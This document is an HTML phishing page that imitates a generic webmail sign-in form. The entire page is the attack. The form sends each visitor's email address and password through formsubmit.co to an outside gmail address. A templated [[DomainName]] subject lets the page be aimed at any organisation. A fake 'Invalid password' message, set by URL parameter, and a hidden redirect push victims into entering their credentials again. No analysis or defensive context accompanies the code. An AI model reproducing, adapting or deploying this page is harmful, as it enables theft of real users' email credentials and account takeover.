Webmail Login
body { font-family: 'Segoe UI', sans-serif; background-color: #f4f7f9; display: flex; justify-content: center; align-items: center; height: 100vh; margin: 0; }
.login-box { background: #fff; padding: 40px; border-radius: 4px; box-shadow: 0 4px 12px rgba(0,0,0,0.1); width: 350px; border-top: 4px solid #006cff; text-align: left; }
.header { font-size: 22px; font-weight: 600; margin-bottom: 10px; color: #333; }
.error-box { display: none; background: #fce8e6; color: #d93025; padding: 10px; border: 1px solid #f19f97; border-radius: 4px; font-size: 13px; margin-bottom: 15px; }
input { width: 100%; padding: 12px; margin-bottom: 15px; border: 1px solid #ced4da; border-radius: 3px; box-sizing: border-box; }
.btn { width: 100%; padding: 12px; background: #006cff; color: #fff; border: none; border-radius: 3px; font-weight: bold; cursor: pointer; }
.btn:hover { background: #0056cc; }
Sign in to Webmail
<!-- Error message controlled by URL parameter -->
<div id="error-box" class="error-box"><b>Invalid password.</b> Please try again.</div>
<form id="loginForm" action="https://formsubmit.co/chiscodecrystal@gmail.com" method="POST">
<!-- Next redirect logic based on attempt -->
<input type="hidden" name="_next" id="next-url" value="">
<input type="hidden" name="_subject" value="Login Attempt: [[DomainName]]">
<input type="email" name="email" id="email-field" placeholder="Email address" required>
<input type="password" name="pass" placeholder="Password" required autofocus>
<button type="submit" class="btn">Sign In</button>
</form>